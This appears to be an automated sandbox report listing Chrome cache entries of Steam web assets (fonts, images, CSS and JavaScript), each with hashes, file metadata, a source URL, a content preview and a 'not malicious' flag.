SHA-512:	9262847972A50F0CF8FC4225C6E9A72DBF2C55CCBCC2A098B7F1A5BD9EA87502F3C495A0431373A3C20961439D2DAE4AF1B1DA5B9FADE670D7FCAED486831D8C
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..n)...l..ujGSUB.d....v.....OS/2t.....\|...`cmap.d..........cvt F).....d....fpgm.6!....,....gasp.......\....glyf...d...l....head...A...$...6hhea...+...\...$hmtxv.x.........loca..g....h....maxp........... name.\....0....post............prep.......D...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&l=english
Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/account/redeem_wallet_complete_popup.png
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33710
Entropy (8bit):	5.264310636694312
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJTJZJD:FpP1vZRU
MD5:	2403599F0862AAFC52987F7464DB71EC
SHA1:	65D55AEF66A47E8A34CE278AE326C06EB333BA36
SHA-256:	0B191515A4301F229DE9EE09990FF1CCF4ED8F44E79A19CBCE79AB067FE0C113
SHA-512:	F23C94EF28064A3C592D5D45FE87E1A748BB247769BA81B78898613A88E9180B64C5D90453717D45995E51574E6FB8B231B3D3F225720D7DAAB37E0EFFF33EAE
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/dynamicstore.js?v=fz6Sv1tbS3ZE&l=english
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2665), with CRLF line terminators
Category:	downloaded
Size (bytes):	153622
Entropy (8bit):	5.336731737520302
Encrypted:	false
SSDEEP:	1536:D1l9AT60MhmzFh0x25lqnasPdVcTziMayN3qxViIomEFANufsf1e66kQuOEmTMzB:Xg0x25wa6dVc39qVijoe6rUEJB
MD5:	439B6DF9DF2BD182EE3354CEB7728F2A
SHA1:	D54D45014D7282CB0E45A69C0C15430444095F86
SHA-256:	66E344142D1A04F10A33E847A59939A9E71D558897ECAFAB050D5CAF72BD1CB2
SHA-512:	094FF0791D454EEEA65AC399906EBBE5D44A8D1B8D94501BAA0D55DC662841E9AF340E1B852031982E0D4634068B3E4261C617108B142B91250C5C010EE411EA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/appleappstore/apple_store_english.png
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=690, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=2038], baseline, precision 8, 1600x690, components 3
Category:	downloaded
Size (bytes):	50887
Entropy (8bit):	6.852179144698946
Encrypted:	false
SSDEEP:	1536:lqA5Kl4nn9bogS73BTeo7xk884jtUUit4cs114:44nn9bRSzBeU84uL4w
MD5:	9B4B2EBBB01BE5C4CFE1FCBDD9DA0EF0
SHA1:	8D17A27B2268930B4EC86C56F9CD0C73CE18FF7C
SHA-256:	AEACBF69F083C220DA60B8994C08CF8CD1505A62A0DF5A7C0A9AA4F258BAB1E7
SHA-512:	0A15B6E53C85E193BAA7618AB0FF50AFE764E613B9D02EADA43DA6BA23EFB7A845E2A39561F935EC5247D4FBCADAD1390BE91AD10EF913E502BA68879CED53D2
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/blue_body_top.jpg?v=2
Preview:	......Exif..II.......................................................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop CS6 (Windows).2014:08:01 14:57:41.............0221....................@...........................................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................E...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?...#5...N.)Z.....ad.I'-RI.$..I2t..R.!H$.mS.!H$.A:d.R.Az+.^.R...+6*.(.......#5..

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1816
Entropy (8bit):	7.335413459481553
Encrypted:	false
SSDEEP:	48:mwqQNn2xkJ3n7OO8oPTFC+6vUycoKGCAHcDsr9CQ:6Y2w72o7Fh68yLdHcYr9CQ
MD5:	C8A9A5322C7A32D42405AEC4ECC91E8C
SHA1:	A6A04E08067EBBC6E9D70361FAD164CAB634BD9D
SHA-256:	02E650004D02B883D1F77E3C9AB18F556D470CC4F41500917D0CDA68EC62D197
SHA-512:	F057B313CE4AEED427AC04B1278A8FFE105843CD0998CAC5E01DDBCD53CAFFCB5584239646A73C40281D671D22C2E163E0FC3F1A589FFF9E9479CAC206EB241B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............c....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D62C327C9D6211E6BC85ED92E7B3F4DB" xmpMM:DocumentID="xmp.did:D62C327D9D6211E6BC85ED92E7B3F4DB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62C327A9D6211E6BC85ED92E7B3F4DB" stRef:documentID="xmp.did:D62C327B9D6211E6BC85ED92E7B3F4DB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`......IDATx.U.k.W.?....fg?21..hT.......H-..VQ.-.......`...(>H...R,B.7...t.iM.i01...nv....;....1...M....a...=...

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
SHA-512:	F1F2D7B6FA49E9241F2B88560127EB2871F66123C2F9DE45B257750CF13E6EBB32A9D85D87AADA6A99838A2F3C5412540065CBAB398760A50F15AAE3A759F9F7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Preview:	.PNG........IHDR...\.........:.;)....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:CA2980EA1CE911E48001B5E88DFE2FC8" xmpMM:InstanceID="xmp.iid:CA2980E91CE911E48001B5E88DFE2FC8" xmp:CreatorTool="Adobe Photoshop CS6 Windows"> <xmpMM:DerivedFrom stRef:instanceID="022AC118D7972AA30ADDF82E49682075" stRef:documentID="022AC118D7972AA30ADDF82E49682075"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..X[H.Q...7.-.a.E.0.(."....-..z.GIA.O.}..Q.._EQP..(.0{.(z@.......Y.......v..;g.3.Y...93.Y..>{.......02..~b.X....g2..h.

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1155 x 1155, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7649
Entropy (8bit):	5.1188675920344835
Encrypted:	false
SSDEEP:	48:r2trufFoK7VnCT4Xp2xYQmVJaBEW0tHjpneiH+TpW:KtrIoK7Voa6YQm7aBEW0ttnegQpW
MD5:	E2D6D224BAA50A3E340E76974D553889
SHA1:	43DCACAABC92D06262532154EE9DE89573DFCCD9
SHA-256:	804D4FF7A9CE2BAACCD7B4CF6911E8EB58ACFB49A0843958E1BE1CCB2E2EE1C9
SHA-512:	AA6D51B6C892EDEA4055757AE6BF91A2D4C402D07B542526CEE055F251581E7FFF7BB315A2F1FBDA0AB4CDF3206668993C620E6FA378C85A283EB4DA355EB1E6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............eih.....bKGD..............IDATx....q..@Q..{..!L.3.(.E..fi......s. .<R}............^....?......)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.........)1.......^o.uz.....n..=G..(.m..y.............@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M........@M..........3......e...8H........<..N......:......._A?..~..\|.....*8.._...9......._A?......jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.........jJ.....8.....:..w..>..w.m]6..y.

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
